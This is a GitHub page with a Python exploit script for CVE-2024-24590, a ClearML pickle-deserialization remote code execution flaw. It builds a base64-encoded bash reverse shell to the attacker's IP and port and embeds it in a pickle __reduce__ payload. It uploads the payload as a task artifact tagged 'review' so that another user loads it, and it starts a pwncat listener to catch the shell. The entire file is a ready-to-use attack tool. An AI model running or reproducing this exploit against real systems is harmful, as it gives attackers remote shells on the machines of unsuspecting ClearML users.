CVE-2024-24590-ClearML-RCE-Exploit/exploit.py at main · rippsec/CVE-2024-24590-ClearML-RCE-Exploit · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/usr/bin/env python3
# Exploit Title: CVE-2024-24590-ClearML-RCE-Exploit
# Date: 2024-06-13
# Exploit Author: Rippxsec
# Vendor Homepage: https://clear.ml/
# Version: 0.17.0 to 1.14.2
# Tested on: Ubuntu 22.04
# CVE: CVE-2024-24590

import pickle
import os
from clearml import Task
from pwn import *
import base64
import signal, sys
import subprocess
from colorama import init, Fore, Style

# Initialize colorama
init()

# Define color codes
green = Fore.GREEN
end = Style.RESET_ALL
red = Fore.RED
blue = Fore.BLUE
yellow = Fore.YELLOW
purple = Fore.MAGENTA
cyan = Fore.CYAN
white = Fore.WHITE


def def_handler(sig, frame):
    print(f"\n{red}[!] Terminating...{end}\n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)


def create_clearml_conf():
    conf_path = os.path.expanduser('~/clearml.conf')
    backup_path = os.path.expanduser('~/clearml.conf.bak')

    if os.path.exists(conf_path):
        print(f"{green}[+]{white} Creating a copy of clearml.conf in clearml.conf.bak{end}")
        os.rename(conf_path, backup_path)

    print(f"{green}[+]{white} Initializing ClearML{end}")
    print(f"{blue}[i]{green} Press{red} enter{green} after pasting the configuration{end}")
    os.system('clearml-init')


def encode_base64(cmd):
    # Encode the command to bytes
    cmd_bytes = cmd.encode('utf-8')
    # Base64 encode the bytes
    base64_bytes = base64.b64encode(cmd_bytes)
    # Convert the base64 bytes back to a string
    base64_cmd = base64_bytes.decode('utf-8')
    return base64_cmd


def run_exploit(local_ip, local_port, project_name):
    # Encode the command to base64
    bash_cmd = f'bash -c "bash -i >& /dev/tcp/{local_ip}/{local_port} 0>&1"'
    base64_cmd = encode_base64(bash_cmd)
    cmd = f'echo {base64_cmd} | base64 -d | sh'
    print(f"{green}[+]{white} Payload to be used:{yellow} {cmd}{end}")

    class exploit:
        def __reduce__(self):
            return os.system, (cmd,)

    # Ask user if they want to start a listener
    listener = input(f"{yellow}[?]{white} Do you want to start a listener on {local_port}? {yellow}(y/n): {end}").strip().lower()
    listener_process = None
    if listener == 'y':
        # Start the pwncat listener as a subprocess
        print(f"{green}[+]{white} pwncat listener started on {purple}{local_port}{end}")
        print(f"{blue}[i]{white} This exploit requires that another user deserializes the payload on their machine.{end}")
        listener_process = subprocess.Popen(['pwncat', '-l', '0.0.0.0', local_port], stderr=subprocess.DEVNULL)

    if listener == 'n':
        print(f"{red}[!]{white} Remember to start a listener on {green}{local_port}{end}")

    # Initialize ClearML task
    # change this according to your needs
    task = Task.init(project_name=project_name, task_name='exploit', tags=["review"], output_uri=True)
    task.upload_artifact(name='pickle_artifact', artifact_object=exploit(), retries=2, wait_on_upload=True)
    print(f"{blue}[i] Please wait...{end}")
    os.system("tput cnorm")

    if listener_process:
        listener_process.wait()


def shell_menu():
    while True:
        print(f"{cyan}[1]{white} Initialize ClearML{end}")
        print(f"{blue}[2]{white} Run exploit{end}")
        print(f"{red}[0]{white} Exit{end}")
        choice = input(f"{yellow}[>]{white} Choose an option:{green} ").strip()

        if choice == '1':
            create_clearml_conf()
            go_back = input(f"{yellow}[?]{white} Do you want to go back to the main menu or exit? (menu/exit): {end}").strip().lower()
            if go_back == 'exit':
                break
        elif choice == '2':
            print(f"{green}[+]{white} Your IP: {yellow}", end="")
            local_ip = input().strip()
            print(f"{green}[+]{white} Your Port: {yellow}", end="")
            local_port = input().strip()
            print(f"{green}[+]{white} Target Project name {red}Case Sensitive!{end}: {yellow}", end="")
            project_name = input().strip()
            run_exploit(local_ip, local_port, project_name)
            break
        elif choice == '0':
            break
        else:
            print(f"{red}[!] Invalid option. Please choose a valid option.{end}")

def main():
    print(f"""{cyan}
    ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⠄⠄⠄⠄⠄⣠⣴⣶⣾⣿⣿⣿⣷⣶⣤⣀⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⠄⠄⢀⣴⣿⣿⣿⡿⠿⠟⠛⠻⠿⣿⣿⣿⡷⠆⠄⠄⠄⠄⠄
    ⠄⠄⠄⠄⢠⣿⣿⣿⠟⠁⠄⠄⠄⠄⠄⠄⠄⠉⠛⠁⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⢠⣿⣿⣿⠃⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⢸⣿⣿⡇⠄⠄⠄⠄⣠⣾⠿⢿⡶⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄{blue}
    ⠄⢸⣿⣿⣿⣿⡇⠄⠄⠄⠄⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⣿⣿⣿⣿⣷⡀⠄⠄⠄⠙⠿⣶⡾⠟⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⠘⣿⣿⣿⣿⣷⣄⠄⠄⠄⠄⠄⠄⠄⠄⠄⣀⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⠘⢿⣿⣿⣿⣿⣷⣦⣤⣀⣀⣠⣤⣴⣿⣿⣷⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⠄⠄⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠁⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⠄⠄⠄⠄⠈⠛⠻⠿⣿⣿⡏⠉⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
    ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
    {end}""")
    print(f"{cyan}CVE-2024-24590 - ClearML RCE{end}")
    print(f"{blue}============================{end}")

    shell_menu()

if __name__ == '__main__':
    main()